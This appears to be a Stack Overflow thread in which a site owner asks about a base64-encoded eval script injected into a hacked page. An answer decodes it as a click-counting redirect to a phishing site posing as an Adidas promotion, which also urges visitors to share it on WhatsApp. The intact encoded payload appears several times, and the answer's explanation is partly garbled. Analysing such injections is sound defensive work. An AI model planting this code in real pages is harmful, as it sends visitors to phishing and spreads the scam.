I don't know much about decoding and encoding, but I found this on my website (it was hacked and someone took over a page in my site). I analysed the page but can't read this:

<script type="text/javascript">
eval(atob("dmFyIGMgPSAwOwokKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKICAgICQoIiNiMSIpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICsrYzsKICAgICAgICBpZiAoYyA+IDE1KSB7CiAgICAgICAgICAgICQodGhpcykuYXR0cih7CiAgICAgICAgICAgICAgICBocmVmOiAiaHR0cDovL3d3dy54bi0tYWRkYXMtbzRhLmRlL2ZpbmFsLmh0bWwiLAogICAgICAgICAgICAgICAgdGFyZ2V0OiAiX3NlbGYiCiAgICAgICAgICAgIH0pOwogICAgICAgIH0KICAgIH0pOwogICAgJCgiI2IyIikub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgaWYgKGMgPiAyMCkgd2luZG93LmxvY2F0aW9uID0gImh0dHA6Ly93d3cueG4tLWFkZGFzLW80YS5kZS9maW5hbC5odG1sIjsKICAgICAgICBlbHNlIHdpbmRvdy5hbGVydCgiRGVlbCBhYW4gMjAgdmFuIGplIHZyaWVuZGVuIG92ZXIgV2hhdHNBcHAgZGUgQWRpZGFzIHByb21vdGllIVxuXG4gSmUgbW9ldCBkZWxlbiAiICsgYyk7CiAgICB9KTsKfSk7"));
</script>

What does it mean? and how can I read it?

I don't know much about decoding and encoding, but I found this on my website (it was hacked and someone took over a page in my site). I analysed the page but can't read this:

<script type="text/javascript">
eval(atob("dmFyIGMgPSAwOwokKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKICAgICQoIiNiMSIpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICsrYzsKICAgICAgICBpZiAoYyA+IDE1KSB7CiAgICAgICAgICAgICQodGhpcykuYXR0cih7CiAgICAgICAgICAgICAgICBocmVmOiAiaHR0cDovL3d3dy54bi0tYWRkYXMtbzRhLmRlL2ZpbmFsLmh0bWwiLAogICAgICAgICAgICAgICAgdGFyZ2V0OiAiX3NlbGYiCiAgICAgICAgICAgIH0pOwogICAgICAgIH0KICAgIH0pOwogICAgJCgiI2IyIikub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgaWYgKGMgPiAyMCkgd2luZG93LmxvY2F0aW9uID0gImh0dHA6Ly93d3cueG4tLWFkZGFzLW80YS5kZS9maW5hbC5odG1sIjsKICAgICAgICBlbHNlIHdpbmRvdy5hbGVydCgiRGVlbCBhYW4gMjAgdmFuIGplIHZyaWVuZGVuIG92ZXIgV2hhdHNBcHAgZGUgQWRpZGFzIHByb21vdGllIVxuXG4gSmUgbW9ldCBkZWxlbiAiICsgYyk7CiAgICB9KTsKfSk7"));
</script>

What does it mean? and how can I read it?

• javascript

Share Improve this question Follow edited May 21, 2018 at 22:49 Heretic Monkey 12.1k77 gold badges6161 silver badges131131 bronze badges asked May 21, 2018 at 22:39 Shady M RasmyShady M Rasmy 19911 silver badge99 bronze badges

Add a ment  | 

1 Answer 1

Sorted by: Reset to default 4

This is base64 encoded piece of code which is getting evaluated at runtime.

Your Code

<script type="text/javascript">
eval(atob("dmFyIGMgPSAwOwokKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKICAgICQoIiNiMSIpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICsrYzsKICAgICAgICBpZiAoYyA+IDE1KSB7CiAgICAgICAgICAgICQodGhpcykuYXR0cih7CiAgICAgICAgICAgICAgICBocmVmOiAiaHR0cDovL3d3dy54bi0tYWRkYXMtbzRhLmRlL2ZpbmFsLmh0bWwiLAogICAgICAgICAgICAgICAgdGFyZ2V0OiAiX3NlbGYiCiAgICAgICAgICAgIH0pOwogICAgICAgIH0KICAgIH0pOwogICAgJCgiI2IyIikub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgaWYgKGMgPiAyMCkgd2luZG93LmxvY2F0aW9uID0gImh0dHA6Ly93d3cueG4tLWFkZGFzLW80YS5kZS9maW5hbC5odG1sIjsKICAgICAgICBlbHNlIHdpbmRvdy5hbGVydCgiRGVlbCBhYW4gMjAgdmFuIGplIHZyaWVuZGVuIG92ZXIgV2hhdHNBcHAgZGUgQWRpZGFzIHByb21vdGllIVxuXG4gSmUgbW9ldCBkZWxlbiAiICsgYyk7CiAgICB9KTsKfSk7"));
</script>

Decoding Steps (Easy One)

1. GoTo base63decode
2. Copy Code inside atob block.
3. paste it in encoded string block and press decode.

Decoded Code

<script type="text/javascript">
eval(var c = 0;
$(document).ready(function() {
    $("#b1").on('click', function() {
        ++c;
        if (c > 15) {
            $(this).attr({
                href: "[ a phishing URL -- removed ]",
                target: "_self"
            });
        }
    });
    $("#b2").on('click', function() {
        if (c > 20) window.location = "[ a phishing URL -- removed ]";
        else window.alert("Deel aan 20 van je vrienden over WhatsApp de Adidas promotie!\n\n Je moet delen " + c);
    });
}););
</script>

What this is doing

First Code is getting decoded and after Capturing events happening on two buttons having unique id's b1 and b2 and based on clicks count decision is happening where the location is getting changed or a new tab is created with a phishing web site condition is upon 15 clicks you will click after will be this button and you will be navigated to this URL if anything goes wrong then after 20 clicks a new window will be generated with this URL.